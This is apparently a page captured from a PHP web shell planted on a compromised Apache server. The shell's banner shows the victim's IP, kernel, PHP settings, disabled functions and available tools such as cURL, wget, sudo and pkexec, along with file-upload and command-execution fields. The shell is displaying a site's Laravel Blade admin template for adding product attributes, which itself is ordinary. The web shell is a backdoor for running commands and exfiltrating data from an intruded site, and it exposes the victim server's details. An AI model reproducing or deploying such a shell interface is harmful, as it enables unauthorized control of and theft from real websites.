X3ND1 GANTENG
Server IP : 108.163.255.210  /  Your IP : 3.137.177.116
Web Server : Apache
System : Linux blossom.urlnameserver.com 3.10.0-1160.80.1.el7.x86_64 #1 SMP Tue Nov 8 15:48:59 UTC 2022 x86_64
User :  ( 1172)
PHP Version : 7.2.34
Disable Function : eval,escapeshellarg,proc_close,proc_get_status,proc_nice,proc_open,symlink,system,pcntl_exec,getrusage,chown,chgp,closelog,openlog,syslog,define_syslog_variables,php_ini_loaded_file,getservbyname,getservbyport,posix_getgid,posix_getgrgid,proc_terminate,pfsockopen,apache_child_terminate,posix_mkfifo,posix_setpgid,posix_setuid,hypot,pg_host,pos,posix_access,posix_getcwd,posix_getservbyname,myshellexec,getpid,posix_getsid,posix_isatty,posix_kill,posix_mknod,posix_setgid,posix_setsid,posix_setuid,posix_times,posix_uname,ps_fill,posix_getpwuid,global,ini_restore,zip_open,zip_read,rar_open,bzopen,bzread,bzwrite,apache_get_modules,apache_get_version,phpversionphpinfo,php_ini_scanned_files,get_current_user,disk_total_space,diskfreespace,leak,imap_list,hypo,filedump,safe_mode,getmygid,apache_getenv,apache_setenv,bzread,bzwrite,bzopen,phpini,higlight_file,dos_conv,get_cwd,er_log,cmd,e_name,vdir,get_dir,only_read,ftok,ftpexec,posix_getpwnam,mysql_list_dbs,disk_free_space,session_save_path,confirm_phpdoc_compiled,zip_entry_rea,php_u,psockopen,crack_opendict,crack_getlastmessage,crack_closedict,crack_check,fpassthru,posix_get_last_error,posix_getlogin,posix_getgroups,posix_strerror,posix_getrlimit,posix_getpgrp,posix_getgrnam,pos,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/unilinki/public_html/AlpaiAWS/resources/views/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ BERANDA ]     

Current File : /home/unilinki/public_html/AlpaiAWS/resources/views/admin/addproductattribute.blade.php
@extends('admin.layout')

@section('content')

<div class="content-wrapper"> 

  <!-- Content Header (Page header) -->

  <section class="content-header">

    <h1> {{ trans('labels.AddOptions') }} <small>{{ trans('labels.AddOptions') }}...</small> </h1>

    <ol class="breadcrumb">

      <li><a href="{{ URL::to('admin/dashboard/this_month') }}"><i class="fa fa-dashboard"></i> {{ trans('labels.breadcrumb_dashboard') }}</a></li>

      <li><a href="{{ URL::to('admin/products') }}">{{ trans('labels.ListingAllProducts') }}</a></li>

      <li class="active">{{ trans('labels.AddOptions') }}</li>

    </ol>

  </section>

  

  <!-- Main content -->

  <section class="content"> 

    <!-- Info boxes --> 

    

    <!-- /.row -->



    <div class="row">

      <div class="col-md-12">

        <div class="box">

          <div class="box-header">

            <h3 class="box-title">{{ trans('labels.ListingDefaultOptions') }} </h3>

            <div class="box-tools pull-right">

            	<button type="button" class="btn btn-block btn-primary" data-toggle="modal" data-target="#adddefaultattributesmodal">

            	{{ trans('labels.AddDefaultOption') }}

            	</button>

            </div>

          </div>

          

          <!-- /.box-header -->

          <div class="box-body">

            <div class="row">

              <div class="col-xs-12">

              		

              </div>

            </div>

            <div class="row">

              <div class="col-xs-12">

                <table id="example1" class="table table-bordered table-striped">

                  <thead>

                    <tr>

                      <th>{{ trans('labels.ID') }}</th>

                      <th>{{ trans('labels.OptionName') }}</th>

                      <th>{{ trans('labels.OptionValue') }}</th>

                      <th>{{ trans('labels.Action') }}</th>

                    </tr>

                  </thead>

                  <tbody class="contentDefaultAttribute">

                  	

                  		@if (count($result['products_attributes']) > 0)

							@foreach($result['products_attributes'] as $key=>$products_attributes)

                                @if($products_attributes->is_default == '1')

                                    <tr>

                                        <td>{{ ++$key }}</td>

                                        <td>{{ $products_attributes->options_name }}</td>

                                        <td>{{ $products_attributes->options_values_name }}</td>

                                        <!--<td>{{ $products_attributes->price_prefix }}{{ $products_attributes->options_values_price }}</td>-->

                                        <td>

                                            <a class="badge bg-light-blue editdefaultattributemodal" products_id = '{{ $products_attributes->products_id }}' products_attributes_id = "{{ $products_attributes->products_attributes_id }}"  options_id = '{{ $products_attributes->options_id }}' ><i class="fa fa-pencil-square-o" aria-hidden="true"></i></a> 

                                            <a products_id = '{{ $products_attributes->products_id }}' products_attributes_id = "{{ $products_attributes->products_attributes_id }}" class="badge bg-red deletedefaultattributemodal"><i class="fa fa-trash " aria-hidden="true"></i></a></td>

                                    </tr> 

                                 @endif

                            @endforeach

						@else

						<tr>

							<td colspan="5"><strong>

				    		{{ trans('labels.NoRecordFoundTextForDefaultOption') }}

				    		</td>

					    </tr>

						@endif                  	 

                  </tbody>

                </table>

                

                <!-- adddefaultattributesmodal -->

				<div class="modal fade" id="adddefaultattributesmodal" tabindex="-1" role="dialog" aria-labelledby="addAttributeModalLabel">

				  <div class="modal-dialog" role="document">

					<div class="modal-content">

					  <div class="modal-header">

						<button type="button" class="close" data-dismiss="modal" aria-label="Close"><span aria-hidden="true">&times;</span></button>

						<h4 class="modal-title" id="addAttributeModalLabel">{{ trans('labels.AddOptions') }}</h4>

					  </div>

					  {!! Form::open(array('url' =>'admin/addnewdefaultattribute', 'name'=>'addattributefrom', 'id'=>'adddefaultattributefrom', 'method'=>'post', 'class' => 'form-horizontal form-validate', 'enctype'=>'multipart/form-data')) !!}

                          {!! Form::hidden('products_id',  $result['data']['products_id'], array('class'=>'form-control', 'id'=>'products_id')) !!}

                          {!! Form::hidden('subcategory_id',  $result['subcategory_id'], array('class'=>'form-control', 'id'=>'subcategory_id')) !!}

                          {!! Form::hidden('is_default',  '1', array('class'=>'form-control', 'id'=>'is_default')) !!}

                              

					  <div class="modal-body">

                          

                          <div class="form-group">

							  <label for="name" class="col-sm-2 col-md-4 control-label">

                             	 {{ trans('labels.OptionName') }}                             	 

                              </label>

							  <div class="col-sm-10 col-md-8">

								  <select class="form-control default-option-id field-validate" name="products_options_id">

                                  	 <option value="" class="field-validate">{{ trans('labels.ChooseOptions') }}</option>								 

									 @foreach($result['options'] as $option)

									  <option value="{{ $option->products_options_id }}">{{ $option->options_name }}</option>

									 @endforeach

                                  </select><span class="help-block" style="font-weight: normal;font-size: 11px;margin-bottom: 0;">

                            	{{ trans('labels.AddOptionNameText') }}

                                 </span>

                             

							  </div>

						  </div>



						   <div class="form-group">

							  <label for="name" class="col-sm-2 col-md-4 control-label">{{ trans('labels.OptionValues') }}</label>

							  <div class="col-sm-10 col-md-8">

								  <select class="form-control products_options_values_id field-validate" name="products_options_values_id">	</select>

                                  <span class="help-block" style="font-weight: normal;font-size: 11px;margin-bottom: 0;">

                                  {{ trans('labels.AddOptionValueText') }}</span>

							  </div>

							</div>

                            

                            <div class="alert alert-danger addDefaultError" style="display: none; margin-bottom: 0;" role="alert"><i class="icon fa fa-ban"></i><span></span> </div>

                      </div>

					  <div class="modal-footer">

						<button type="button" class="btn btn-default" data-dismiss="modal">{{ trans('labels.Close') }}</button>

						<button type="button" class="btn btn-primary" id="addDefaultAttribute">{{ trans('labels.AddOption') }}</button>

					  </div>

					  {!! Form::close() !!}

					</div>

				  </div>

				</div>

                

				<!-- editdefaultattributemodal -->

				<div class="modal fade" id="editdefaultattributemodal" tabindex="-1" role="dialog" aria-labelledby="editdefaultattributemodalLabel">

				  <div class="modal-dialog" role="document">

					<div class="modal-content editDefaultContent">

					  

					</div>

				  </div>

				</div>

                

           		<!-- deletedefaultattributemodal -->

				<div class="modal fade" id="deletedefaultattributemodal" tabindex="-1" role="dialog" aria-labelledby="deletedefaultattributemodalLabel">

				  <div class="modal-dialog" role="document">

					<div class="modal-content deleteDefaultEmbed">

					  

				    </div>

				  </div>

            

             

                </div>

              

            </div>

          </div>

          <!-- /.box-body --> 

        </div>

        <!-- /.box --> 

      </div>

      <!-- /.col --> 

    </div>

    <!-- /.row --> 

    

    <!-- Main row -->  

</div>





<div class="row">

      <div class="col-md-12">

        <div class="box">

          <div class="box-header">

            <h3 class="box-title">{{ trans('labels.ListingAdditionalProductsOptions') }} </h3>

            <div class="box-tools pull-right">

            	<button type="button" class="btn btn-block btn-primary" data-toggle="modal" data-target="#addAttributeModal">

            	{{ trans('labels.AddAdditionalOption') }}</button>

            </div>

          </div>

          

          <!-- /.box-header -->

          <div class="box-body">

            <div class="row">

              <div class="col-xs-12">

              		

              </div>

            </div>

            <div class="row">

              <div class="col-xs-12">

                <table id="example1" class="table table-bordered table-striped">

                  <thead>

                    <tr>

                      <th>{{ trans('labels.ID') }}</th>

                      <th>{{ trans('labels.OptionName') }}</th>

                      <th>{{ trans('labels.OptionValue') }}</th>

                      <th>{{ trans('labels.Price') }}</th>

                      <th>{{ trans('labels.Action') }}</th>

                      

                    </tr>

                  </thead>

                  <tbody class="contentAttribute">

                  	

                  		@if (count($result['products_attributes']) > 0)

							@foreach($result['products_attributes'] as $key=>$products_attributes)

                                @if($products_attributes->is_default == '0')

                                <tr>

                                    <td>{{ ++$key }}</td>

                                    <td>{{ $products_attributes->options_name }}</td>

                                    <td>{{ $products_attributes->options_values_name }}</td>

                                    <td>{{ $products_attributes->price_prefix }}{{ $products_attributes->options_values_price }}</td>

                                    <td>

                                       <a class="badge bg-light-blue editproductattributemodal" products_id = '{{ $products_attributes->products_id }}' products_attributes_id = "{{ $products_attributes->products_attributes_id }}" options_id = '{{ $products_attributes->options_id }}' ><i class="fa fa-pencil-square-o" aria-hidden="true"></i></a> 

                                            <a products_id = '{{ $products_attributes->products_id }}' products_attributes_id = "{{ $products_attributes->products_attributes_id }}" class="badge bg-red deleteproductattributemodal"><i class="fa fa-trash " aria-hidden="true"></i></a></td>

                                </tr> 

                           @endif

                                @endforeach

						@else

						<tr>

							<td colspan="5">

				    		{{ trans('labels.NoRecordFoundTextForAdditionalOption') }}

				    		</td>

					    </tr>

						@endif

                 		

                  	 

                  </tbody>

                </table>

                

                <!-- addAttributeModal -->

				<div class="modal fade" id="addAttributeModal" tabindex="-1" role="dialog" aria-labelledby="addAttributeModalLabel">

				  <div class="modal-dialog" role="document">

					<div class="modal-content">

					  <div class="modal-header">

						<button type="button" class="close" data-dismiss="modal" aria-label="Close"><span aria-hidden="true">&times;</span></button>

						<h4 class="modal-title" id="addAttributeModalLabel">{{ trans('labels.AddOptions') }}</h4>

					  </div>

					  {!! Form::open(array('url' =>'admin/addnewproductattribute', 'name'=>'addattributefrom', 'id'=>'addattributefrom', 'method'=>'post', 'class' => 'form-horizontal', 'enctype'=>'multipart/form-data')) !!}

                              {!! Form::hidden('products_id',  $result['data']['products_id'], array('class'=>'form-control', 'id'=>'products_id')) !!}

                              

                              {!! Form::hidden('subcategory_id',  $result['subcategory_id'], array('class'=>'form-control', 'id'=>'subcategory_id')) !!}

                              {!! Form::hidden('is_default',  '0', array('class'=>'form-control', 'id'=>'is_default')) !!}

					  <div class="modal-body">		

						  <div class="form-group">

							  <label for="name" class="col-sm-2 col-md-4 control-label">{{ trans('labels.OptionName') }}  </label>

							  <div class="col-sm-10 col-md-8">

								  <select class="form-control  additional-option-id field-validate" name="products_options_id">										 									  <option value="" class="field-validate">{{ trans('labels.ChooseOptions') }}</option>								 

									 @foreach($result['options'] as $option)

									  <option value="{{ $option->products_options_id }}">{{ $option->options_name }}</option>

									 @endforeach

								  </select>  <span class="help-block" style="font-weight: normal;font-size: 11px;margin-bottom: 0;">

								  {{ trans('labels.OptionNameText') }}

								  </span>

							  </div>

							</div>



						   <div class="form-group">

							  <label for="name" class="col-sm-2 col-md-4 control-label">{{ trans('labels.OptionValues') }}</label>

							  <div class="col-sm-10 col-md-8">

								 <select class="form-control additional_products_options_values_id field-validate" name="products_options_values_id">										 								 

								  </select>

                                  <span class="help-block" style="font-weight: normal;font-size: 11px;margin-bottom: 0;">

                                  {{ trans('labels.OptionValuesText') }}</span>

							  </div>

							</div>

							

							<div class="form-group">

							  <label for="name" class="col-xs-12 col-sm-2 col-md-4 control-label">{{ trans('labels.Price') }}</label>

                          	  <div class="col-xs-4 col-sm-2">

                                  <select class="form-control" name="price_prefix" id="price_prefix">		

                                  	<option value="+">+</option>					 									  							

                                  	<option value="-">-</option>								 

                                  </select> 

                              </div>

							  <div class="col-xs-8 col-sm-8 col-md-6">

								 {!! Form::text('options_values_price',  '0', array('class'=>'form-control', 'id'=>'options_values_price')) !!}

                                 <span class="help-block" style="font-weight: normal;font-size: 11px;margin-bottom: 0;">{{ trans('labels.NumericValueError') }}</span>

							  </div>

							</div>

                            <div class="alert alert-danger addError" style="display: none; margin-bottom: 0;" role="alert"><i class="icon fa fa-ban"></i><span></span> </div>

                      </div>

					  <div class="modal-footer">

						<button type="button" class="btn btn-default" data-dismiss="modal">{{ trans('labels.Close') }}</button>

						<button type="button" class="btn btn-primary" id="addAttribute">{{ trans('labels.AddOption') }}</button>

					  </div>

					  {!! Form::close() !!}

					</div>

				  </div>

				</div>

                

				<!-- editproductattributemodal -->

				<div class="modal fade" id="editproductattributemodal" tabindex="-1" role="dialog" aria-labelledby="editproductattributemodalLabel">

				  <div class="modal-dialog" role="document">

					<div class="modal-content editContent">

					  

					</div>

				  </div>

				</div>

            

           		<!-- deleteproductattributemodal -->

				<div class="modal fade" id="deleteproductattributemodal" tabindex="-1" role="dialog" aria-labelledby="deleteproductattributemodalLabel">

				  <div class="modal-dialog" role="document">

					<div class="modal-content deleteEmbed">

					  

				    </div>

				  </div>

            

             

                </div>

              

            </div>

          </div>

          <!-- /.box-body --> 

        <div class="box-footer text-center">

                <a href="{{ URL::to("admin/products")}}" class="btn btn-default pull-left"><i class="fa fa-angle-left"></i> {{ trans('labels.back') }} </a>

                <a href="{{ URL::to("admin/addinventory/{$result['data']['products_id']}")}}" class="btn btn-primary pull-right">{{ trans('labels.Add Stock') }} <i class="fa fa-angle-right"></i> </a>

		</div>

                    

        </div>

        <!-- /.box --> 

      </div>

      <!-- /.col --> 

    </div>

    <!-- /.row --> 

    

    <!-- Main row -->  

</div>

   

    

    <!-- Main row -->  

</div>

    

    <!-- /.row --> 

  </section>

  <!-- /.content -->



@endsection 

Anon7 - 2022
SCDN GOK